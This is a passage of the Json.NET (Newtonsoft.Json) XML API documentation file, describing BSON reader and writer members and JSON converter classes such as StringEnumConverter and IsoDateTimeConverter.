next JSON token from the underlying <see cref=\"T:System.IO.Stream\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.Stream\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonWriter.DateTimeKindHandling\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.DateTimeKind\" /> used when writing <see cref=\"T:System.DateTime\"/> values to BSON.\n            When set to <see cref=\"F:System.DateTimeKind.Unspecified\" /> no conversion will occur.\n            </summary>\n            <value>The <see cref=\"T:System.DateTimeKind\" /> used when writing <see cref=\"T:System.DateTime\"/> values to BSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.#ctor(System.IO.Stream)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonWriter\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.#ctor(System.IO.BinaryWriter)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonWriter\"/> class.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:System.IO.BinaryWriter\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:System.IO.Stream\"/> and also flushes the underlying stream.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the end.\n            </summary>\n            <param name=\"token\">The token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRawValue(System.String)\">\n            <summary>\n            Writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.Stream\"/> is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteObjectId(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value that represents a BSON object id.\n            </summary>\n            <param name=\"value\">The Object ID value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRegex(System.String,System.String)\">\n            <summary>\n            Writes a BSON regex.\n            </summary>\n            <param name=\"pattern\">The regex pattern.</param>\n            <param name=\"options\">The regex options.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ConstructorHandling\">\n            <summary>\n            Specifies how constructors are used when initializing objects during deserialization by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ConstructorHandling.Default\">\n            <summary>\n            First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ConstructorHandling.AllowNonPublicDefaultConstructor\">\n            <summary>\n            Json.NET will use a non-public default constructor before falling back to a parameterized constructor.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.BinaryConverter\">\n            <summary>\n            Converts a binary value to and from a base 64 string value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.BsonObjectIdConverter\">\n            <summary>\n            Converts a <see cref=\"T:Newtonsoft.Json.Bson.BsonObjectId\"/> to and from JSON and BSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.CustomCreationConverter`1\">\n            <summary>\n            Creates a custom object.\n            </summary>\n            <typeparam name=\"T\">The object type to convert.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.Create(System.Type)\">\n            <summary>\n            Creates an object which will then be populated by the serializer.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>The created object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.CustomCreationConverter`1.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value>\n            \t<c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DateTimeConverterBase\">\n            <summary>\n            Provides a base class for converting a <see cref=\"T:System.DateTime\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DateTimeConverterBase.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DiscriminatedUnionConverter\">\n            <summary>\n            Converts a F# discriminated union type to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DiscriminatedUnionConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DiscriminatedUnionConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DiscriminatedUnionConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.ExpandoObjectConverter\">\n            <summary>\n            Converts an <see cref=\"T:System.Dynamic.ExpandoObject\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.ExpandoObjectConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.ExpandoObjectConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.ExpandoObjectConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.ExpandoObjectConverter.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value>\n            \t<c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.IsoDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from the ISO 8601 date format (e.g. <c>\"2008-04-12T12:53Z\"</c>).\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.DateTimeStyles\">\n            <summary>\n            Gets or sets the date time styles used when converting a date to and from JSON.\n            </summary>\n            <value>The date time styles used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.DateTimeFormat\">\n            <summary>\n            Gets or sets the date time format used when converting a date to and from JSON.\n            </summary>\n            <value>The date time format used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.IsoDateTimeConverter.Culture\">\n            <summary>\n            Gets or sets the culture used when converting a date to and from JSON.\n            </summary>\n            <value>The culture used when converting a date to and from JSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.IsoDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.IsoDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from a JavaScript <c>Date</c> constructor (e.g. <c>new Date(52231943)</c>).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.JavaScriptDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.KeyValuePairConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Collections.Generic.KeyValuePair`2\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.KeyValuePairConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.RegexConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Text.RegularExpressions.Regex\"/> to and from JSON and BSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.StringEnumConverter\">\n            <summary>\n            Converts an <see cref=\"T:System.Enum\"/> to and from its name string value.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.CamelCaseText\">\n            <summary>\n            Gets or sets a value indicating whether the written enum text should be camel case.\n            The default value is <c>false</c>.\n            </summary>\n            <value><c>true</c> if the written enum text will be camel case; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.NamingStrategy\">\n            <summary>\n            Gets or sets the naming strategy used to resolve how enum text is written.\n            </summary>\n            <value>The naming strategy used to resolve how enum text is written.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.AllowIntegerValues\">\n            <summary>\n            Gets or sets a value indicating whether integer values are allowed when serializing and deserializing.\n            The default value is <c>true</c>.\n            </summary>\n            <value><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"camelCaseText\"><c>true</c> if the written enum text will be camel case; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(Newtonsoft.Json.Serialization.NamingStrategy,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategy\">The naming strategy used to resolve how enum text is written.</param>\n            <param name=\"allowIntegerValues\"><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n            <param name=\"namingStrategyParameters\">\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <paramref name=\"namingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type,System.Object[],System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see 